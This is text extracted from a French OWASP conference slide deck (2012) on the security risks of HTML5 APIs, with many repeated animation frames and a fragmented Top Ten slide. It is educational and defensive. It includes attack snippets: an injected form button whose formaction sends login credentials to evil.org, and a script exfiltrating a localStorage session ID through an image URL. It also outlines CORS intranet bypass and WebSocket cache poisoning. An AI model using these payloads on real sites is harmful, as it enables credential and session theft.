1. The OWASP Foundation
http://www.owasp.org
et la Sécurité
ou comment les Poneys envahissent le Web 3.0...
Sébastien Gioria
French OWASP Leader
Global Education Committee
Paris - 7 Février 2012
Wednesday, February 8, 12
2. Agenda
•Un peu d’histoire
•HTML5 pour les nuls en 4mn 2s
•Nouvelles attaques et protections ?
•Références
2
Wednesday, February 8, 12
3. Back to the past
1995 1998 2000 2005 2012
HTML 2.0 HTML 4.0 HTML 5 ?
CSS 2 CSS 3
JavaScript
la DOM XmlHttpRequest
3
Wednesday, February 8, 12
6. 4mn 2s
Nouvelles balises
• On n’est pas la pour parler de peinture...
Nouvelles APIs
• WebSocket
• WebMessaging
• IndexedDB
• OffLine Web Application
• WebStorage (votre nouveau DropBox ? ...)
• Cross Origin Ressource Sharing (déja rien que le
nom est intéressant...)
6
Wednesday, February 8, 12
7. 4mn 2s
WebSocket : Permet d’effectuer des connexions
persistantes et bi-directionnelles
• mécanisme de “Push” possible
• interface en cours de finalisation/
spécifications
• nécessite un serveur “compatible”
• API minimaliste (send, receive via event)
• http://www.w3.org/TR/websockets/
7
Wednesday, February 8, 12
8. 4mn 2s
WebMessaging : communication inter-documents
HTML
• via la méthode window.postMessage();
• pas de garantie de contenu inoffensif (ie;
pas de filtre de type anti-XSS ....)
• vérification de l’origine a la charge de
l’application receptrice.
• il est possible de transporter du JSON :)
• http://www.w3.org/TR/webmessaging/
8
Wednesday, February 8, 12
9. 4mn 2s
IndexedDB; la Web SQL Database...
•API synchrone et asynchrone
•pensée pour JavaScript; stockage
d’objets
•http://www.w3.org/TR/IndexedDB/
9
Wednesday, February 8, 12
10. 4mn 2s
Offline Web Applications: possibilité
d’exécuter tout ou partie des applications
même déconnecté.
• via navigator.onLine
• mise en cache des données
nécessaires(HTML, CSS, JavaScript...)
• http://www.w3.org/TR/html5/
offline.html
10
Wednesday, February 8, 12
11. 4mn 2s
WebStorage : donne la capacité au navigateur
de stocker jusqu’a 5Mo à 10Mo de données
•deux type de stockage : local ou de
session
•possibilité de stocker des objets JSON
•possibilité de stocker de manière
régulière
•http://www.w3.org/TR/webstorage/
11
Wednesday, February 8, 12
13. OWASP Top Ten 2010
A3:
Mauvaise
ges-on
A4:Référence
directe
A2:
Cross
Site
A1:
Injec-on des
sessions
et
de
non
sécurisée
à
un
Scrip-ng
(XSS)
l’authen-fica-on objet
A8:
Mauvaise
A5:
Cross
Site
Request
A6:
Mauvaise
A7:
Mauvais
stockage
restric-on
d’accès
à
Forgery
(CSRF)
configura-on
sécurité cryptographique
une
URL
A9:
Protec-on
A10:
Redirec-ons
et
insuffisante
lors
du
transferts
non
validés
transport
des
données
http://www.owasp.org/index.php/Top_10
Wednesday, February 8, 12
14. Falsification de Forms
Il est possible de contrôler une Forms en
dehors de l’élément “forms”
<form id=“myform” action=“basic.php” >
<input type=“text” name=“user” value=“…” />
</form>
<input form=“myform” type=“submit” name=“…”
value=“Advanced Version”/>
14
Wednesday, February 8, 12
15. Falsification Forms
<form id=“login” action=“login.php” >
<input type=“text” name=“username” />
<input type=“password” name=“password” />
<input type=“submit” name=“…” value=“Login” />
</form>
Si on arrive à injecter ce code
New VIP section of the site is open!
<input form=“login” type=“submit”
name=“Enter VIP section”
formaction=“http://evil.org/login.php” />
Automatiquement, evil.org dispose
des éléments et la Forms initiale est
appelée
15
Wednesday, February 8, 12
16. Protocol/content Handlers
Il est possible d’enregistrer des handlers de
protocole ou de type de fichiers personalisés
• sms://
• application/pdf
Il est possible (mais pas recommandé)
de changer les handlers standards
(dépend des navigateurs)
Il n’est pas obligatoire de demander à
l’utilisateur son autorisation
16
Wednesday, February 8, 12
17. Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web
originaire du JavaScript.
17
Wednesday, February 8, 12
18. Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web
originaire du JavaScript.
17
Wednesday, February 8, 12
19. Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web
originaire du JavaScript.
Mais c’etait sans compter les
17
Wednesday, February 8, 12
20. Cross Origin Resource Sharing 1/4
XHR ne peut dialoguer qu’avec le site Web
originaire du JavaScript.
Mais c’etait sans compter les
HTTP/1.1 200 OK
Content-Type: text/html
Access-Control-Allow-Origin: http://internal.example.com
17
Wednesday, February 8, 12
21. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
22. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
23. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
24. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
25. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
26. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
GET / HTTP/1.1
intranet
18
Wednesday, February 8, 12
27. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
GET / HTTP/1.1
intranet
18
Wednesday, February 8, 12
28. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
29. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
HTTP/1.1 200 Ok
<script>XMLHttpRequest...
intranet
18
Wednesday, February 8, 12
30. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
HTTP/1.1 200 Ok
<script>XMLHttpRequest...
intranet
18
Wednesday, February 8, 12
31. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
32. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
XMLHTTPRequest
intranet
18
Wednesday, February 8, 12
33. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
XMLHTTPRequest
intranet
18
Wednesday, February 8, 12
34. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
35. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
Access-Control-Allow-Origin: *
HTTP/1.1 200 Ok
intranet
18
Wednesday, February 8, 12
36. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
Access-Control-Allow-Origin: *
HTTP/1.1 200 Ok
intranet
18
Wednesday, February 8, 12
37. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
Access-Control-Allow-Origin: *
HTTP/1.1 200 Ok
intranet
18
Wednesday, February 8, 12
38. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
Access-Control-Allow-Origin: *
HTTP/1.1 200 Ok
intranet
18
Wednesday, February 8, 12
39. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
intranet
18
Wednesday, February 8, 12
40. Cross Origin Resource Sharing 2/4
Bypass des contrôles d’accès
poc.ckers.fr
POST /endpoint HTTP/1.1
.....(contenu de la page interne)
intranet
18
Wednesday, February 8, 12
62. Cross Origin Resource Sharing 4/4
Contre-mesures :
•Restriction du domaine
•Ne pas faire confiance à l’entete; elle
peut être modifiée par l’attaquant.
•Mettre en place des contre-mesures
réseaux (pour les DDOS)
20
Wednesday, February 8, 12
63. WebStorage
Pas de contrôle de la part de l’utilisateur
sur ce qui est stocké/accéder
L’injection de Javascript peut bypasser la
limitation du contrôle d’accès.
➡Vol de Sessions
➡Vol de données sensibles
➡Tracking d’utilisateurs
21
Wednesday, February 8, 12
64. WebStorage
Vol de Sessions; juste un peu plus
compliqué. :
<script>
document.write("<img
src='http://www.mysite.com?sessionID="+localStorage.getItem('SessionID')+"'>");
</script>
le flag HTTPOnly des cookies ne fonctionne
pas sur les localStorage !
22
Wednesday, February 8, 12
65. WebStorage
Tracking User
Les localStorage ne sont pas forcément
effacer lorsqu’on efface l’historique
Il est donc possible de créer des
identifiants (de type cookies) persistants
permettant de suivre l’utilisateur
23
Wednesday, February 8, 12
66. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
24
Wednesday, February 8, 12
67. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
24
Wednesday, February 8, 12
68. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
24
Wednesday, February 8, 12
69. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
24
Wednesday, February 8, 12
70. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
24
Wednesday, February 8, 12
71. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
24
Wednesday, February 8, 12
72. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
HTTP/1.1 200 Ok
24
Wednesday, February 8, 12
73. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
HTTP/1.1 200 Ok
24
Wednesday, February 8, 12
74. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
24
Wednesday, February 8, 12
75. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
24
Wednesday, February 8, 12
76. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocl Handshake
24
Wednesday, February 8, 12
77. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocl Handshake
24
Wednesday, February 8, 12
78. WebSocket API :)
Possible entre différents domaines
Permettrai de réduire la taille du contenu
transporté ?
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocl Handshake
Tunnel TCP Full Duplex
24
Wednesday, February 8, 12
79. Websocket Menaces
Parmi les attaques possible, certaines sont
triviales:
•Shell Distant
•Botnet Web
• via un XSS ou tout simplement en se
connectant à un site Web.
•Port scanning...
25
Wednesday, February 8, 12
80. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
26
Wednesday, February 8, 12
81. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
26
Wednesday, February 8, 12
82. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
26
Wednesday, February 8, 12
83. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
26
Wednesday, February 8, 12
84. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
26
Wednesday, February 8, 12
85. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
26
Wednesday, February 8, 12
86. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
26
Wednesday, February 8, 12
87. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
26
Wednesday, February 8, 12
88. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
26
Wednesday, February 8, 12
89. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
26
Wednesday, February 8, 12
90. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocol Handshake
26
Wednesday, February 8, 12
91. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocol Handshake
26
Wednesday, February 8, 12
92. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocol Handshake
26
Wednesday, February 8, 12
93. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocol Handshake
GET / HTTP/1.1
Host: some.host.com
26
Wednesday, February 8, 12
94. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocol Handshake
GET / HTTP/1.1
Host: some.host.com
26
Wednesday, February 8, 12
95. WebSocket
•Empoisonnement de cache de proxy
Proxy Transparent
GET / HTTP/1.1
HTTP/1.1 200 Ok
Upgrade WebSocket
WebSocket Protocol Handshake
GET / HTTP/1.1
Host: some.host.com
HTTP/1.1 200 Ok
Contenu falsifié
26
Wednesday, February 8, 12
96. OffLine Web Application
<!DOCTYPE HTML>
<html manifest="/cache.manifest">
<body>
•Possibilité d’avoir des attaques de Type
APT ?
•Possibilité de pollution des caches de
navigateurs (via un point d’accès
malveillant); meme du SSL
27
Wednesday, February 8, 12
97. WebMessage
•Possibilité de perte de données sensibles
(si envoyées à une “mauvaise iframe”)
Page du site “interne”
postMessage()
<iframe src=”outside.control”
28
Wednesday, February 8, 12
98. API Geolocation
Possibilité de découvrir le lieu ou se trouve
l’utilisateur (sous reserve d’avoir un
GPS, ou autre système).
Perte de données de vie privée...
29
Wednesday, February 8, 12
99. Bac a sable des iframes
<iframe sandbox="....."
src="http://monsite.com/index.html"></iframe>
Par défaut si rien n’est précisé :
•Les formulaires, scripts et plug-ins sont désactivés.
•Pas d’accès aux éléments stockés en local (cookies,
sessionStorage, localStorage).
•Par d’AJAX
•Les liens ne peuvent cibler d’autres frames
•Le contenu est considéré externe (pas d’accès à la
DOM)
30
Wednesday, February 8, 12
100. Bac a sable des iframes
Lever les restrictions :
•allow-same-origin : autorise le contenu a être traité comme de
la même origine est pas externe
•allow-top-navigation : l’iframe peut accéder à la navigation de
niveau supérieur
•allow-forms : autorise les formulaires
•allow- scripts : les scripts (hors popup) sont autorisés
Les navigateurs ne supportent pas
tous ces éléments !
31
Wednesday, February 8, 12
101. Autres points importants
Les longs traitements en JavaScript
“plantaient” les navigateurs.
Les WebWorkers permettent de lancer des
JavaScript en tache de fond
DDOS avec CORS & WebWorkers
Calculs distribués (cf Ravan)
32
Wednesday, February 8, 12
102. Autres Points importants
CSS3 introduit de nouvelles capacités à
injecter du code JavaScript
Nouvelles capacités au ClickJacking
33
Wednesday, February 8, 12
103. Conclusion
Plein de nouvelles API interessantes pour
le développeur
L’ouverture se fait au détriment de la
sécurité....
Une surface d’attaque accrue
La belle part au JavaScript (qui peut
s’executer sans consentement
utilisateur)
34
Wednesday, February 8, 12
105. Quelques Sites a suivre..
http://www.w3.org/TR/html5/ : le standard
https://www.owasp.org/index.php/
HTML5_Security_Cheat_Sheet
http://www.caniuse.com : liste des différents
supports d’API par navigateur
http://www.html5test.com : le support de VOTRE
navigateur vis a vis de la norme.
36
Wednesday, February 8, 12